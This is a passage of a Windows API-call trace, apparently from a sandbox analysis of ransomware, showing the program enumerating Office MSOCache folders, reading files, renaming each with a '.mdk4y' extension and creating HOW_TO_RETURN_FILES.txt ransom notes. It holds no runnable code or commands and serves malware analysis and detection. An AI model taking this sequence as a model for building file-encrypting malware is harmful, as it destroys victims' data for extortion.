Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.mdk4y")) returned 1 [0082.703] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.703] AreFileApisANSI () returned 1 [0082.703] GetACP () returned 0x4e4 [0082.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisioMUI.msi", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VisioMUI.msi0044-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 12 [0082.703] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815793300000) returned 1 [0082.703] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0082.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815804900000) returned 1 [0082.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815804900000) returned 1 [0082.831] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.mdk4y")) returned 1 [0082.831] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.831] AreFileApisANSI () returned 1 [0082.831] GetACP () returned 0x4e4 [0082.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisioMUI.xml", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VisioMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 12 [0082.832] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815806200000) returned 1 [0082.832] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x251f, lpOverlapped=0x0) returned 1 [0082.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815806500000) returned 1 [0082.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815806500000) returned 1 [0082.836] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.mdk4y")) returned 1 [0082.836] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0082.836] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0082.836] AreFileApisANSI () returned 1 [0082.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0082.837] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0082.838] GetFileType (hFile=0x128) returned 0x1 [0082.839] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0082.839] AreFileApisANSI () returned 1 [0082.839] GetACP () returned 0x4e4 [0082.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0082.839] AreFileApisANSI () returned 1 [0082.839] GetACP () returned 0x4e4 [0082.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\k{") returned 63 [0082.842] AreFileApisANSI () returned 1 [0082.842] GetACP () returned 0x4e4 [0082.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0082.842] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.842] AreFileApisANSI () returned 1 [0082.842] GetACP () returned 0x4e4 [0082.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0082.842] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.842] AreFileApisANSI () returned 1 [0082.842] GetACP () returned 0x4e4 [0082.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OneNoteMUI.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OneNoteMUI.msi54-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 14 [0082.842] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815807300000) returned 1 [0082.843] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0082.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815814400000) returned 1 [0082.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815814400000) returned 1 [0082.970] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.mdk4y")) returned 1 [0082.970] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.970] AreFileApisANSI () returned 1 [0082.970] GetACP () returned 0x4e4 [0082.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OneNoteMUI.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OneNoteMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0082.971] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815820100000) returned 1 [0082.971] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x646, lpOverlapped=0x0) returned 1 [0083.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815824200000) returned 1 [0083.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815824200000) returned 1 [0083.012] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.mdk4y")) returned 1 [0083.013] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.013] AreFileApisANSI () returned 1 [0083.013] GetACP () returned 0x4e4 [0083.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OnoteLR.cabxml", lpUsedDefaultChar=0x37dfd8) returned 11 [0083.013] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815824300000) returned 1 [0083.013] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0083.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815834300000) returned 1 [0083.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815834300000) returned 1 [0083.143] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.mdk4y")) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.144] AreFileApisANSI () returned 1 [0083.144] GetACP () returned 0x4e4 [0083.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlab", lpUsedDefaultChar=0x37dfd8) returned 9 [0083.144] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815837400000) returned 1 [0083.145] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x7c4, lpOverlapped=0x0) returned 1 [0083.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815838400000) returned 1 [0083.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815838400000) returned 1 [0083.154] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0083.155] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0083.155] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0083.155] AreFileApisANSI () returned 1 [0083.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0083.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0083.156] GetFileType (hFile=0x128) returned 0x1 [0083.157] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0083.157] AreFileApisANSI () returned 1 [0083.157] GetACP () returned 0x4e4 [0083.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0083.157] AreFileApisANSI () returned 1 [0083.157] GetACP () returned 0x4e4 [0083.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\k}") returned 63 [0083.160] AreFileApisANSI () returned 1 [0083.160] GetACP () returned 0x4e4 [0083.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0083.160] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.160] AreFileApisANSI () returned 1 [0083.160] GetACP () returned 0x4e4 [0083.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0083.160] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.160] AreFileApisANSI () returned 1 [0083.160] GetACP () returned 0x4e4 [0083.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProjectMUI.msiA1-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 14 [0083.161] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815839100000) returned 1 [0083.161] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0083.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815849200000) returned 1 [0083.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815849200000) returned 1 [0083.317] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.mdk4y")) returned 1 [0083.317] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.317] AreFileApisANSI () returned 1 [0083.317] GetACP () returned 0x4e4 [0083.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjectMUI.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProjectMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0083.318] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815854900000) returned 1 [0083.319] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5ac, lpOverlapped=0x0) returned 1 [0083.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815860200000) returned 1 [0083.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815860200000) returned 1 [0083.372] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.mdk4y")) returned 1 [0083.373] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.373] AreFileApisANSI () returned 1 [0083.373] GetACP () returned 0x4e4 [0083.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProjLR.cab", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProjLR.cab.xml", lpUsedDefaultChar=0x37dfd8) returned 10 [0083.373] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815860300000) returned 1 [0083.373] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0083.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815868400000) returned 1 [0083.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815868400000) returned 1 [0083.478] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.mdk4y")) returned 1 [0083.479] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0083.479] AreFileApisANSI () returned 1 [0083.479] GetACP () returned 0x4e4 [0083.479] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlb", lpUsedDefaultChar=0x37dfd8) returned 9 [0083.479] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0083.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815871000000) returned 1 [0083.480] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x750, lpOverlapped=0x0) returned 1 [0083.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815872700000) returned 1 [0083.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815872700000) returned 1 [0083.497] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0083.498] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0083.498] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0083.498] AreFileApisANSI () returned 1 [0083.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0083.498] CreateFileW (lpFileName="C:\\MSOCache\\All 